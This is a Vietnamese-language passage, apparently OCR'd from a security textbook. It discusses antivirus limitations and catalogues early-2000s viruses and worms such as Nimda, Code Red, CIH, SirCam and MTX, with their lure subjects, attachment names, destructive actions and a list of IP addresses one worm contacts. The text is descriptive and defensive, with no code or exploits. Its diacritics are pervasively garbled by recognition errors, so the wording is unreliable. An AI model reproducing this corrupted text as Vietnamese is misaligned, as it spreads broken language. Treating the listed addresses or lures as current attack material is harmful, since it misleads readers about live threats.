- Cac chuong trinh diét Virus da dugc trang bi nhitng vii khi — cong nghé rat
manh dé phat hién va tiéu diét cac loai Virus da biét.

- Kha nang dat nghi van cho nhiing hoat dong déang ngd, nhung chua thé két
luan do6 1a Virus cling da duoc cic hang chuyén nghiép c6 uy tin quan tam.
C6 nhitng phuong phép thong minh dé c6 thé tim ra nhiing loai Virus méi
bién thé cua Virus cil.

- Viéc tién hanh cap nhat, phét trién va phan phoi cac chuong trinh phong
chong Virus cling dugc ti€én hanh nhanh chéng, thuat tién. Ngoai viéc cap
nhat chinh tac (cap nhat theo c&u hinh clia chuong trinh), hau hét cic hiang
chuyén viét phan mém phong chong Virus ciing da cho phép nguoi dung c6
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thé tai xuong cac thong tin cap nhat bing cac hinh thiic download, FTP dé
ngudi dung qua mang c6 thé cap nhat kip thdi bang céac hinh thic khic
nhau.

- Han ché€ cua cac cong nghé dang ap dung hién nay la: cac cong nghé ma
chuong trinh phong chéng Virus phét trién chua thé ngan chan hoan toan su
lay lan cta Virus, nhét 1a Virus méi (hang ngay hang gio déu xudt hién
Virus méi).

Vé phia nguoi stt dung may tinh, néi chung trinh do cua nguoi st dung vé phong
chong Virus con rit yéu, rit nhi€u nguoi con y lai vao cac chuong trinh diét Virus,
coi la thudc tri bach bénh cho may tinh cua minh dan dén viéc st dung chuong trinh

phong chong Virus ciling chua dat hiéu qua.
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PHU LUC: DANH SACH MOT SO LOAI VIRUS TIEU BIEU
1. Nimda.

Lay qua duong e-mail, tép tin chia s¢ trén may chu va lgi dung cac trang web
c6 chia Javascript, toc do 1ay lan cuc nhanh, tu dong tim muc tiéu méi, né6 khong
pha huy céc tép, chi lam hé théng chay cham do né st dung hé thong dé tim céc
muc tiéu méi. N6 ¢6 kh nang stra d6i mot so6 loai tai liéu web, cho phép hacker tié€p
can kh niang qun tri mang va tao cilra sau trén hé thong dé khai thac cho nhitng 1an
xam nhap ti€p theo, hién nay c6 rat nhiéu bién thé méi ctia Nimda.

2. Code Red.

T6c do nhan bn cuc nhanh va lan truyén qua mang Internet dé t6i cdc mdy
khéc, tdn cong cdc website trén mang bang cach gui tdi tAp hang loat dit liéu tGi
may chu Internet, vuot qua kha nang xir 1y hé thong lam hé thong bi té liét.

Cac mdy chu bi nhiém Code Red tré thanh tay sai tham gia cudc tdn cong
DOS — tir choi dich vu.

3. Klez.

Virus nay c¢6 kha nang xod cac chuong trinh chéng virus va hang loat cac file
c6 duoi nhu .txt, .htm, .html, .wab, .doc, .xls, .jpg, .cpp, .C, .pas, .mpg, .mpeg, .bak
va .mp3.

Lay nhiém qua duong e-mail xod va ghi d¢ cac file ¢6 duoi trén. Hién tai cé
rat nhiéu bién thé méi va nguy hiém hon

4. Chernobyl

Ngay 26 thang 4 nam 1999 va 26 thang 4 nam 2000 da c6 hang triéu may
tinh trén khap th€ gigi va Viét Nam bi virus Chernobyl pha huy dit liéu, thiét hai rat
16n. Chernobyl 1a mot loai virus hen gio, cit ngay 26 thang 4 hang nam né s€ pha
huy dit liéu ctia mdy tinh ma né dang 1ay nhiém. Ngoai ra né con c6 tén la CIH.

Mot bién thé ctia nd 1a virus Win95.CIH mang tén virus “Chernobyl”, xuat
phat tir Dai Loan, da nhiém hang tram mady tinh trén thé& giGi. C6 hon 500.000 may
bi mat dix liéu va thiét hai nghiém trong vé phan cing.

Virus "Chernobyl" sau khi xam nhap vao may vi tinh s€ xod sach moi dir liéu
va ¢c6 gang viét lai thong tin duoc luu trit trong chip BIOS ciia may vi tinh. Day 1a
mot chip ROM (Read Only Memory — Bo nhé chi doc) hay PROM (Programmable
Read Only Memory — Bo nhé chi doc ¢6 thé 1ap chuong trinh) nidm trén mainboard.
Chip BIOS chita dung phdn mém cén thiét d€ khoi dong mdy vi tinh. Ngay sau khi
md& may vi tinh, phan mém BIOS nay s€ lap tdc thi hanh, cho phép may truy cap
truc ti€p & cdp thap t6i ban phim, cac man hinh va 6 ciing. N6 doc thong tin cau
hinh tr b0 nhd CMOS va sau do tdi cac chuong trinh boot tir 6 ciung hay dia
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mém. Néu phan mém BIOS bi phd hong, mdy vi tinh s& khong thé khoi dong duoc
dan t6i phai thay BIOS .

5. Virus Anna Kournikova

Loai virus Kournikova xuat hién duéi dang mot thong diép e-mail va mot file
dinh kém c6 vé nhu 12 mot bic anh. Khi ban nhip vao file dinh kém nay, chuong
trinh virus s& duoc kich hoat va dau tién 1a kiém tra ngdy trén mdy tinh ctia ban c6
phai 1a 26 thang Giéng khong. Vao ngay nay, virus s€ c6 gang st dung trinh duyét
Web cua ban két n6i d€n mot Website tai Ha Lan c6 tén goi la Dynabyte.NL.

Khi ban nhép dip vao mot file cia Windows, mot thao tac sé dugc thuc hién
do ma 1énh cua file quy dinh. Thao tdc ngdm dinh khi nhap dip vao mot file Visual
Basic (VBS) - vi du nhu file virus Kournikova - la thi hanh ma 1énh chitta trong file.

Su lay lan rong khap cta virus Kournikova da giam dan trong nhiing ngay
gan day. Tuy nhién, cdc loai worm bé nho khéc hodc cdc loai virus viét bang ma
lénh Visual Basic (VBS) khdc giong nhu virus Kournikova véan c¢6 thé 1ay nhiém vao
hop mail ciia ban. D€ bao vé mdy tinh clia ban, ban nén cap nhat cdc phan mém diét
virus mdi nhét, hodc ban c6 thé thay doi cach thic quan 1y cdc file Visual Basic nay
hay xo04 ching di.

Boi vi ngay nay s€ chi dén vao nam t6i, nén virus sé thuc hién nhiém vu tha
hai ctia minh 1a "chui" vao s6 dia chi trong chuong trinh Microsoft Outlook. Tir d6
virus s€ tu nhan ban va gui ban sao ctia né téi tat ca cac dia chi thu dién tir dugc liét
ké trong s6 dia chi d6. Theo Steve Trilling thi phdn mém nhan biét virus clia
Symantec s€ thi€t 1ap mot dong 1énh trong Windows Registry ciia mdy tinh nguoi
dung, tir d6 moi khi ho bi nhiém lai virus nay thi virus sé khong tu nhan ban va tu
gui ching di dén cac may tinh khac nira.

6. Virus Ble Bla

Puoc biét dén véi cai tén MyRomeo hay Verona, virus nay st dung e-mail
dang HTML dé lay nhiém mot cich tw dong va né c6 thé tu dong cap nhat nho
Internet.

Khéc véi cédc loai virus khac c¢6 phan dinh kém gay lay nhiém dang Plain
Text, virus W32.Ble Bla (hay tén hi¢u 1a MyRomeo, MylJuliet, Verona) c6 nguon
goc tr Ha Lan va tu dong lay nhiém ngay khi xem hay doc e-mail hang HTML.
Hién tai, virus nay kh()ng chita nhitng doan ma mang tinh chat pha hoai nhu’ng no
c6 thé két noi Internet va nhu vay thi c6 thé tai vé nhu’ng tinh nang méi va nguy
hiém hon. Virus nay duoc ZDNET xép hang thit tu vé mitc do nguy hiém.

Cach thic lay nhiém:

Ble Bla dugc gui t6i dudi dang e-mail HTML va phan chu dé (Subject)
thuong gobm mot trong cac loai sau:

"Romeo&Juliet"

D)NA
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"hello world"
"11991919"

"subject"

"ble bla, ble"

"I Love You :)"
"sorry..."

"Hey you !"
"Matrix has you..."
"my picture"
"from shake-beer"

Phin dinh kém (Attached) khong hién thi nhung phadn ma HTML cua virus
nay chtra trong 2 file la MyRomeo.exe va MyRomeo.exe trong thu muc
CA\WINDOWS\TEMP.

Khi bi lay nhiém, file MyRomeo.exe s& tim va st dung s6 dia chi ciia ban
(address book) va gti tGi dia chi nay nhiing ban copy ctia né. Thém nita, n6 cling sé
cO gang noi t¢i mot trong cdc dia chi IP sau:
194.153.216.60
195.117.152.91
195.116.62.86
195.117.99.98
212.244.199.2
213.25.111.2

DPay 12 nhitng dia chi ma virus c6 thé tu dong tai thém nhitng phan nang cap
hay nhitng doan ma méi.

7. BubbleBoy

Mot loai virus lay lan qua e-mail theo mot cdch khdc han cdc loai virus phan
mém khac. D6 12 n6 c6 thé nhan ban, 1ay nhiém vao may vi tinh ma khong cin nan
nhan phai mdé cac file dinh kem.

BubbleBoy chi anh hudng t6i nhitng nguoi st dung Microsoft Outlook va
Microsoft Outlook Express voi Internet Explorer 5.0, Windows 98, Windows 2000,
cling nhu mot s6 cau hinh cua Windows 95.

Virus nay xuat hién nhu mot e-mail cé subject 1a "BubbleBoy is back" véi
mot thong diép c6 tit 1a "The BubbleBoy Incident, Pictures And Sounds" bang chit
trang trén nén den. Mot khi bi s& mo t6i, né s& tu glti minh cho tat ca nhiing nguoi
c6 tén trong Address Book clia nan nhan. Va ctt th€ ma lién tuc phét trién. Do
khong "ké" mot chuong trinh nao khic dé nhan ban, BubbleBoy khong giong nhu
cac virus khac. Pugc cdi 1a né chi phat tan e-mail chita minh mot 1an tir may bi
nhiém.
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Ban than BubbleBoy khong phai 1a thd virus rat nguy hiém. Nhung 1y do
khién n6 lam cho cac chuyén gia vi tinh phai dién dau la vi né6 mé ra mot "khai
niém hoan toan mdi vé virus mdy vi tinh".

Dang virus tu nhan ban nhu thé c6 thé bi ké x4u stt dung cho nhitng cudc tan
cong c6 muc tiéu, nham vao nhitng cd nhan hay t6 chic cu thé nao dé.

Ban tin an toan trén Website ctia Microsoft khuyén cdo rang : khi nhan duoc
e-mail ¢6 tiéu dé nhu trén, ban hiy delete n6 ngay 1ap tdc va sau dé x6a trong luon
ca folder chita cac e-mail da bi delete cia Microsoft Outlook va Microsoft Outlook
Express.

8. I-Worm.MTX Virus

I[-Worm.MTX la mot loai virus dang lay lan rong trén mang Internet va dac biét
tai Viéet Nam. Moi khi gtri email cho ban bé hay ddi tac, thi email d6 hay bi tra vé
hoac nguoi nhan email phan nan vé mot email la kém theo email nhan dugc. D6
chinh Ia hién tuong gay ra boi virus MTX.

MTX c6 co ché hoat dong rét phic tap, né 1a su két hop cua rat nhi€u ky thuat

phtic tap cua cac loai virus tir trudc tGi nay. Khi mdy tinh nhiém virus MTX thi file
Wsock32.dll - mot thu vién cia Windows dung cho viéc trao d6i thong tin gifta mdy
tinh vdi Internet - s& bi stra d6i dé€ sao cho mdi khi c6 mot email dugce gl di thi
virus s€ dugc kich hoat, va n6 s€ tu dong tao ra thém mot email khac kem theo va
ca hai email nay sé dugc gui di tGi cing moét dia chi. Email ma virus tao ra khong
c6 tiéu dé, khong c¢6 ndi dung ma chi ¢6 mot file gii kém chinh Ia than cua virus,
file ndy c6 thé c¢6 nhiéu tén khic nhau tuy theo thoi diém virus dugc kich hoat, n6
c6 thé 12 mot trong céc tén sau:
I_wanna_see_YOU.TXT.pif, HANSON.SCR, MATRi1X _ Screen_Saver.SCR,
LOVE_LETTER_FOR_YOU.TXT.pif, NEW_playboy_Screen_saver.SCR,
BILL_GATES_PIECE.JPG.pif, ANTI_CIH.EXE, SEICHO-NO-
IE.EXE,YOU_are_FAT!.TXT.pif, FREE_xxx_sites. TXT.pif..v.v.

Khi hai email ndi trén t6i nguoi nhan, nguoi nhan nay rat dé nham tudng file gt
kém Ia do chinh ban hay d6i tdc cia minh g (vi dia chi nguoi gl trong email do
virus tao ra ciing chinh la dia chi clia nguoi gui bic thu thi nhat). Néu ngudi do6 lai
15 tay cho chay file nhan dugc, thi mdy tinh cua nguoi nay ciling 1ap tic nhiém virus
va lai trd thanh nguon lay virus sang cdc mdy tinh khiac c6 mdéi quan hé véi nd
thong qua Internet mail bang cach néi trén.

Ngoai cac hién tuong nhu da mo ta, virus con tim cach cai dat mot bo phan khac
ctia né trén may bi nhiém, d6 chinh 1a mot loai "sau Internet” ma tir k§ thuat goi 1a
Backdoor, v6i con "sau" nay ké tao ra virus c6 thé tham nhap trdi phép vao may bi
nhiém dé cai dat mot loai virus khdc hodc an cip thong tin trén mdy ndy. Virus
cling cAm khong cho mdy ma né lay nhiém dugc truy nhap hay guri email vao mot
s6 dia chi cua cdc cong ty chuyén vé diét virus trén thé gidi.
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Virus MTX dang lay lan rat rong & Viét Nam ndi riéng cling nhu Internet noi
chung, nhung may mén 12 né khong ¢ cac hanh dong c6 y pha hoai nhu pha huy
dit liéu chang han, ma chi don thudn Ia lay lan, con bd phan backdoor clia né thi
van con c6 16i nén chua gay tac hai gi. Tuy vay mdy tinh bi nhiém MTX s€ rat hay
bi bdo 16i khi noi Internet vi 16i ndi trén.

Pé phong trdnh virus ndy ban nén tuan theo nguyén tic da dugc néi dén rat
nhi€u la: khong bao gido nén cho chay hay md nhiing file giti kém nhan duoc ma
chua kiém tra virus (nén save no ra dia r6i quét virus) hay khong rd xuat xi ctia no.
Néu mdy tinh clia ban da nhiém virus nay, ban c6 thé duing BKAV340 dé diét n6
v6i trinh tu nhu sau:

Khdi dong mdy bang mot dia mém hoidc "Restart in MS-DOS Mode" néu nhu
ban dang dung Windows.

Chay BKAV.

Néu BKAV c6 phat hién ra virus MTX thi nén chay lai BKAV mot 1an nita véi
lua chon "All File" & menu ciia BKAV (vi nhu trén da néi, virus MTX nup dudi rat
nhi€u loai file khac nhau ch khong chi & mot s6 loai file thong thuong nhu .exe
hay .dll).

9. Virus Ms World

Virus ngay cang c6 tén hap dan hon. Hoc hdi kinh nghiém tir NakedWife,
mot virus méi c6 tén MsWorld - Hoa hau Thé gidi - vira tim cach quyén rii nguoi st
dung may tinh vira tu nhan ban qua e-mail t6i tit ca nhiing dia chi luu trong
Outlook va format lai 6 dia cting.

MsWorld (w32.MsWorld@mm) xuat hién tai Anh theo e-mail c6 tiéu dé

Miss World.
Phan than c6 doan: "Hi, enjoy the latest pictures of Miss World from various
Country and the MWrld.exe file is attached" (Xin chao, hay tan hudng nhiing bic
tranh méi nhdt cuia Hoa hau Thé giGi tir nhiéu quoc gia va c¢é gan kém file
MWrld.exe).

Mot hoa hau xuat hién trén man hinh.

Néu file gan kém duoc kich hoat, mot clra s6 Flash s& xuat hién v6i hinh mot
con vat dé thuong cling céi banh to c¢6 cdm cay nén. & cudi clra s6 c6 dong chit: “ I
fall more in love with you each day! “ (Cang ngay anh cang yéu em hon!). Trong
khi do, "co nang" MsWorld s€ tu dong gui con chdu cua minh téi tat ca nhiing
nguoi co tén trong danh sach dia chi cia Outlook.

Sau khi chuong trinh Flash dugc dong lai, MsWorld s€ khi€n cho may tinh
format lai 6 cting va tim cdch xo4 cdc file USER.DAT, USER.DAO, SYSTEM.DAT
va SYSTEM.DAO.

10. Virus Naked Wife

Virus nay lira nguoi dung thu dién tir bang cédch gia vo cung cdp cho ho mot

doan video véi tiéu dé "ngudi vo khoa than".
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Tuy nhién, thay vi cung cip cho nguoi dung nhitng hinh anh khiéu dam, virus
tim ki€ém va pha huy tat ca cac file quan trong trén may tinh cta ho. Mot vai cong
ty phat trién phan mém diét virus da xép virus nay & mic do nguy hiém cao, boi vi
virus nay lay lan nhanh va c6 chic nang phd hoai ghé gém.

Virus mé6i nay cé chic nang pha hoai ghé gédm hon virus Anna Kournikova,
bdi vi né x0a céc file trén 6 cing. Khi bi nhiém virus, ngudi dung chi con céch 1a
cai dat lai hé diéu hanh.

Nhung virus "Naked Wife" s€ cé muc do lay lan thap hon so vé6i virus "I
Love You" boi vi moi ngudi dia dugc thong bdo ring ho khong nén md file dinh
kém chura virus.

Gia dang mot doan phim Flash

Virus nay gia dang mot doan phim Macromedia Flash, c6 tiéu d¢ "Fw: Naked
Wife" (Gui sang: Nguoi vo khoa than). Noi dung thu dién tlr c6 doan viét: "My wife
never look like that! :-) Best Regards" (Vo toi khong bao gio trong giong nhu thé
nay! Than ai). Sau d6 virus nhap vao tén ngudi gui.

Nhitng ngudi mé file dinh kém NakedWife.exe s& thdy mot clra s6 ¢6 dong
chit "JibJab Loading". Sau d6 virus s€ tim cach xo0a céc tét ca cac file c6 phan mé
rong .BMP, .COM, .DLL, .EXE, .INI va .LOG trong Windows va thu muc
Windows/Systems.

Virus cling 1ay nhiém qua Microsoft Outlook, guri ban sao cua né téi tat ca
cac dia chi thu dién tir liét ké trong may tinh cia nguoi dung.

Nguoi dung néu bam vao thuc don Help/About s€ nhan dugc mot thong diép:
"(C) 2001 by BGK (Bill Gate Killer)"

11. Worm SirCam

SirCam 12 mot tén trom siéu hang, ddnh cap dit lieu ma khong ai hay biét.
Loai worm nay mac du khong thuc su phd hoai may tinh cta nguoi st dung, tuy
nhién, SirCam di trd nén ndi tiéng vdi kha niang danh cip dit liéu va chuyén vé cho
ké tao ra n6 thong qua Internet. Hon thé nita, né con cé kha nang phat tan véi cap
s0 mil, lam cho cac chuyén gia diét virus phai diing ngoi khong yén.

SirCam 1a mot loai worm phat tdn nhd co ch€ SMTP (Giao thic truyén thu
don gian). Khi dugc kich hoat, SirCam s& tu sao chép vao thu muc
"C\RECYCLED\SirC32.exe" dé an nap, boi vi cdc phan mém diét virus khong
dugc phép quét tim trong "thung rac" ctia Windows. Worm ciing tu sao chép vao
thu muc Windows dué6i dang mot file c6 tén goi 1a SirC32.exe.

N6 con c6 ciac tén goi la W32/SirCam@MM, Win32.SirCam.137216,
SirCam, va Backdoor.SirCam.

E-mail chita worm ¢6 ndi dung nhu sau: "dong dau tién: Hi ! How are you ?
dong cuodi cung: See you later. Thanks" hoac "dong dau tién: Hola como estas ?
dong cudi: Nos vemos pronto, gracias'.
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Khi ngudi st dung mé file dinh kém e-mail, SirCam s& nhanh chéng thu thap
céc file trong thu muc My Document, cling nhu tat ca céc dia chi e-mail trong s6
dia chi Windows.

C6 thé SirCam con lua chon ngdu nhién mot file trong thu muc va gl dén
céc dia chi e-mail c6 trong s6 dia chi. Cac chuyén gia cong nghé thong tin goi hanh
dong nay la su xdm pham quyén riéng tu.

Vi SirCam c¢6 kha nang danh cap dit liéu siéu hang, nén n6 da "qua mat" duoc
cdc phan mém diét virus cai trong mdy tinh.

Cac cong ty can phai bao vé thong tin trén may tinh clia minh, ciing nhu cé
cac bién phap bao mat e-mail thich hgp. Hon thé nita, ho can ap dung cac chuong
trinh loc noi dung va cdc phan mém diét virus dé giit cho mdy tinh clia minh dugc
"lanh lan", tranh duoc cac cudc tan cong téi tap cua virus.

Worm SirCam xuat hién trén th€ giGi vao ngay 18/7. Pay 1a mot loai worm
c6 suc phat tan khiang khiép. Giong nhu cac loai worm khac, SirCam lay nhiém qua
e-mail, dudi dang mot file dinh kém c6 phan m& rong la .doc, .xIs nhung thuc chat
la céc file .com, .pif, .exe, .bat...

Néu nguoi dung chi md thu ra doc thi hoan toan vo hai. Nhung khi ho mé file
dinh kém, worm s& duoc kich hoat. M6i 1an nguoi dung khdi dong lai may tinh,
worm s& dugc nap vao bo nhé dé thuc hién chifc ning ciia minh. SirCam s& tim tat
ca cdc dia chi e-mail c6 trong mdy tinh, thudng la trong s6 dia chi chuong trinh thu
dién tu, va trong thu muc Windows/Temporary luu trit tam thoi cac file Internet khi
ngudi dung duyét Web, sau d6 glri mail dén tit ca cac dia chi da tim duoc.

Dic di€ém noi bat ctia SirCam 1a n6 sé 1ay mot file bat ky trong mdy tinh,
thudng 1a céc file Word (.doc, .dot) , Excel (.xls), r6i gan doan ma ctia n6 vao file
do. Sau do, file nay s€ duoc dinh vao e-mail va giri ngau nhién dén cac dia chi da
tim duoc. Di€éu d6 ¢6 nghia 1a ban ¢6 nguy co bi 10 thong tin quan trong. SirCam
danh cap file trén may clia ban va giri ngau nhién cho rat nhiéu nguoi khéc.

Trén day 1a mot vai Virus tiéu biéu duoc biét dén trong thoi gian gan day,
mot sO virus co stic pha hoai ghé gém gay thiét hai rat 16n cho cac doanh nghiép,
cdc qudc gia trén thé gigi nhu Nimda, Code Red va ciing con rat nhi€u loai virus
nhung trong khuon khé tai liéu nay thi khong thé gi6i thiéu hét duoc.
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